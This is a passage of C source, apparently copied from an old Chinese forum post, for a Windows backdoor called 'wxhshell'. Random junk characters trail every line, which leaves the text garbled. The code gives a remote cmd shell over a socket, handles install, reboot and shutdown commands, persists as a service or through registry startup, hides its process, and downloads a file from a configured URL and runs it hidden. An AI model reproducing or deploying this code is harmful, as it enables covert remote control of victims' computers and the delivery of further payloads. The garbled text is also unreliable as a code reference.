`]F#j ]"  
    switch(cmd[0]) { Y2}m/7aF  
  7)*q@  
  // 帮助 #|K5ma  
  case '?': { |O{kv}Y Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xE- _Fv9  
    break; '?1g_C QsS  
  } $0*D7P^8  
  // 安装 /_r`A  
  case 'i': { soh9Oedml-  
    if(Install()) cUr5x8<W).  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ ($U\FW  
    else 7{p6&xXx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pkc*toW  
    break; g`dAj4B  
    } W1ql[DqE{  
  // 卸载 bMGXx>x  
  case 'r': { yH0vESgv  
    if(Uninstall()) S]?I7_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gwDVWhq  
    else jD ?*sd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dH)\zCt  
    break; IHv>V9yiG  
    } t:YMF$Z  
  // 显示 wxhshell 所在路径 KM/c^ a4V  
  case 'p': { ufJHC06  
    char svExeFile[MAX_PATH]; q<Y#-Io%3  
    strcpy(svExeFile,"\n\r"); |%@pjJ`3  
      strcat(svExeFile,ExeFile); P52qtN<  
        send(wsh,svExeFile,strlen(svExeFile),0); #9t3<H[  
    break; FiKGB\_]  
    } |Q$Dj!!1P  
  // 重启 bzh:  
  case 'b': { l:*.0Tj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -'T^gEd) c  
    if(Boot(REBOOT)) C?g<P0h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -nY_.fp>  
    else { Q+*@!s  
    closesocket(wsh); KebC$g@W  
    ExitThread(0); A'n{K#  
    } WNSEc%  
    break; J7wIA3.O  
    } o,'Fz?[T%  
  // 关机  CP Ju=  
  case 'd': { Va^(cnwa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yC7lR#N8j0  
    if(Boot(SHUTDOWN)) u5tUm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nnCz!:9p  
    else { R]0tG   
    closesocket(wsh); 6S^JmYq  
    ExitThread(0); :XB^IyO-A  
    } aX? tnDv  
    break; \"b'Z2g  
    } %II o  
  // 获取shell xn anca  
  case 's': { ?N&s .  
    CmdShell(wsh); 1ezBn ZJg  
    closesocket(wsh); w,LB  
    ExitThread(0); cG{  
    break; tNljv >vI  
  } aVp-Ps|r  
  // 退出 ZUS06# t}  
  case 'x': { m}'!W`<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ppnl bL^*  
    CloseIt(wsh); lS?#(}a1)  
    break; Li9>RY+3  
    } ;<#=|eD2  
  // 离开 0a:@DOzT  
  case 'q': { ]>[ 0DX]j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j+Q+.39s-~  
    closesocket(wsh); XQZiJ %'  
    WSACleanup(); &3:<WU:U  
    exit(1); =oTj3+7  
    break; fDAT#nlyp  
        } 6ipQx/IQ  
  } V6_~"pRR=  
  } L&&AK`Ur3l  
<GSp%r  
  // 提示信息 _+}f@&"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9>;CvR  
} "p[3^<~uQ  
  } Y)7\h:LIg  
I2z6iT4nB  
  return; $?u LFD  
} oG c9 6B%  
p tlag&Z  
// shell模块句柄 )1f.=QZN^;  
int CmdShell(SOCKET sock) T-Yb|@4  
{ ]j]<CqG  
STARTUPINFO si; _po5j;"_O  
ZeroMemory(&si,sizeof(si)); rLA^ &P:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TjOK8 t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rq:sy=;  
PROCESS_INFORMATION ProcessInfo; &;U F,  
char cmdline[]="cmd"; p,14'HS%@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I7W?}bR*6  
  return 0; m,&2s-v  
} 1^2]~R9,9  
J7@Q;gcl:  
// 自身启动模式 d3NER}f4V  
int StartFromService(void) %2'Y@AX`  
{ Qe`Nb4xf  
typedef struct b^"mQ   
{ qyjVB/ko  
  DWORD ExitStatus; =]o2{d  
  DWORD PebBaseAddress; ~Xc1y!"9*  
  DWORD AffinityMask; j|@8VxZ  
  DWORD BasePriority; 6O"y  
  ULONG UniqueProcessId; : :928y  
  ULONG InheritedFromUniqueProcessId; H=9{|%iS  
}   PROCESS_BASIC_INFORMATION; bjq.nn<=  
dRUmC H  
PROCNTQSIP NtQueryInformationProcess; 'N`x@(  
BwVq:)P/R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =69sWcC8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @XVx{t;g2  
czK}F/Sg`  
  HANDLE             hProcess; d}wE4(]b  
  PROCESS_BASIC_INFORMATION pbi; EjP)e;  
.2y @@g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9H2mA$2jnE  
  if(NULL == hInst ) return 0; E,QD6<?[  
AR c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %!R\-Vej  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); % -.V6}V  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f7Gs1{  
57EL&V%j  
  if (!NtQueryInformationProcess) return 0; X$eR RSW  
B[5<&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gz2\&rmN  
  if(!hProcess) return 0; HcpAp]L)  
j{@li1W@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~xcU6@/  
h<7@3Ur  
  CloseHandle(hProcess); zr wzI+4  
Wr+1e1[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RtEx WTc  
if(hProcess==NULL) return 0; Q1!+wC   
L;=LAQ6[  
HMODULE hMod; 4^!%>V"d/  
char procName[255]; |#Q0UM|'Q  
unsigned long cbNeeded; EmyE%$*T  
1w+)ne_&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gFXz:!A  
31N5dIi,  
  CloseHandle(hProcess); fn8|@)J  
Q)5V3Q]@^  
if(strstr(procName,"services")) return 1; // 以服务启动 TXqtE("BDl  
!E^\)=E)P  
  return 0; // 注册表启动 @ ZN@EOM$+  
} +ijxv  
\ *A!@T  
// 主模块 WUb] 8$n  
int StartWxhshell(LPSTR lpCmdLine) NKiWt Z"  
{ _jaB[Q=By  
  SOCKET wsl; 8J~-|<Q6  
BOOL val=TRUE; g|j15&x  
  int port=0; /&l4 sF1  
  struct sockaddr_in door; 34L1Gxf  
.]N`]3$=  
  if(wscfg.ws_autoins) Install(); "O_)~u  
0iKAg  
port=atoi(lpCmdLine); !:v7SRUXb  
$Qxy@vU  
if(port<=0) port=wscfg.ws_port; HTSk40V  
m@YK8 c#$  
  WSADATA data; !P gwFJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Us_1 #$p,  
AmrVxn4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H% FP!03  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9{Igw"9ck  
  door.sin_family = AF_INET; 3il$V78|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FJFO0Hb6  
  door.sin_port = htons(port); bd2QQ1[1vh  
/Eu|Jg=I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >uFFTik  
closesocket(wsl); whFJ]  
return 1; /)sP<WPQ 6  
} Z7k ku:9  
r-a0XNS*  
  if(listen(wsl,2) == INVALID_SOCKET) { {9{PU&?(  
closesocket(wsl); ei~f1$zc#h  
return 1; BW ux!  
} w17CZa 6  
  Wxhshell(wsl); { PS0.UZ  
  WSACleanup(); md lMciP  
 vSo1WS  
return 0; *hh9 K  
r6It )PQ  
} :es=T`("A8  
Cv;#8Wj}  
// 以NT服务方式启动 li0)<("/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N;4wbUPL7h  
{ @S 0mNA  
DWORD   status = 0; CtZOIx.;|  
  DWORD   specificError = 0xfffffff; D-e?;<  
#$l:%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >` u8(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0 qW"b`9R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,o}CBB! k  
  serviceStatus.dwWin32ExitCode     = 0; AuY*x;~  
  serviceStatus.dwServiceSpecificExitCode = 0; \uZ1Sl  
  serviceStatus.dwCheckPoint       = 0; EXR6Vb,  
  serviceStatus.dwWaitHint       = 0; z`,dEGfh^  
j.c{%UYj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x+v&3YF  
  if (hServiceStatusHandle==0) return; `rV -,-r@  
^?|d< J:{  
status = GetLastError(); U|8?$/*\  
  if (status!=NO_ERROR) |o@U L  
{ 7Dw. 9EQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SAE'y2B*  
    serviceStatus.dwCheckPoint       = 0; z'\BZ5riX<  
    serviceStatus.dwWaitHint       = 0; l nJ  
    serviceStatus.dwWin32ExitCode     = status; Q x&7Ceu"  
    serviceStatus.dwServiceSpecificExitCode = specificError; mZ.gS1Dq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =h.` ey  
    return; iDdR-T|  
  } En4!-pWHQ  
O\h%ZLjfO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #"C!-kS'=  
  serviceStatus.dwCheckPoint       = 0; 8!MVDp[|"  
  serviceStatus.dwWaitHint       = 0; V;gC[7H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bGK-?BE5+A  
} ft~QVe!  
'r1X6?d J  
// 处理NT服务事件,比如:启动、停止 :_Iz( 2hV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X.ZG-TC  
{ i O$ ?No  
switch(fdwControl) [7  t  
{ Z_>:p^id  
case SERVICE_CONTROL_STOP: ->Fsmb+R  
  serviceStatus.dwWin32ExitCode = 0; U&SSc@of  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !E,|EdIr  
  serviceStatus.dwCheckPoint   = 0; 7/K'nA  
  serviceStatus.dwWaitHint     = 0; n*TKzn4E  
  { ~*`wRiUhis  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O{Q+<fBC9  
  } N|8^S  
  return; ),$^h7[n  
case SERVICE_CONTROL_PAUSE: !j3Xzn9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R _2#7Xs  
  break; h!tg+9%  
case SERVICE_CONTROL_CONTINUE: "![KQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uE>m3Y(aP  
  break; TCi0]Y~a  
case SERVICE_CONTROL_INTERROGATE: >y$*|V}k  
  break; =E:sEw2j  
}; 4b}'W}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NOf{Xx<#k  
} N:EljzvP}  
O%<+&Q7  
// 标准应用程序主函数 ReGT*+UN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3@* ~>H  
{ Iz&d S?p_  
@6-3D/=  
// 获取操作系统版本 S_s;foT  
OsIsNt=GetOsVer(); L!fIAd`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @Ph'!  
[ C!m,4  
  // 从命令行安装 X?]Mzcu  
  if(strpbrk(lpCmdLine,"iI")) Install(); "#pN  
C;ME"4,(  
  // 下载执行文件 :Ye~I;" 8  
if(wscfg.ws_downexe) { &E@mCQ1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nN>Uh T  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2#8PM-3"  
} $4kbOqn4  
!:~C/B{  
if(!OsIsNt) { QaXdO=3  
// 如果时win9x,隐藏进程并且设置为注册表启动 [=:4^S|M  
HideProc(); N9vNSmm  
StartWxhshell(lpCmdLine); wQM( |@zE}  
} )ri'W <l  
else $?9u;+jIR  
  if(StartFromService()) ]SN5 &S  
  // 以服务方式启动 K3&k+~$  
  StartServiceCtrlDispatcher(DispatchTable); 8jiBLZkRf  
else k8cR`5 @PK  
  // 普通方式启动 5nK|0vv%2  
  StartWxhshell(lpCmdLine); 89W8cJ$yW  
>n1UK5QD  
return 0; |=W>4>  
}
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只看该作者 1 发表于: 2006-10-10
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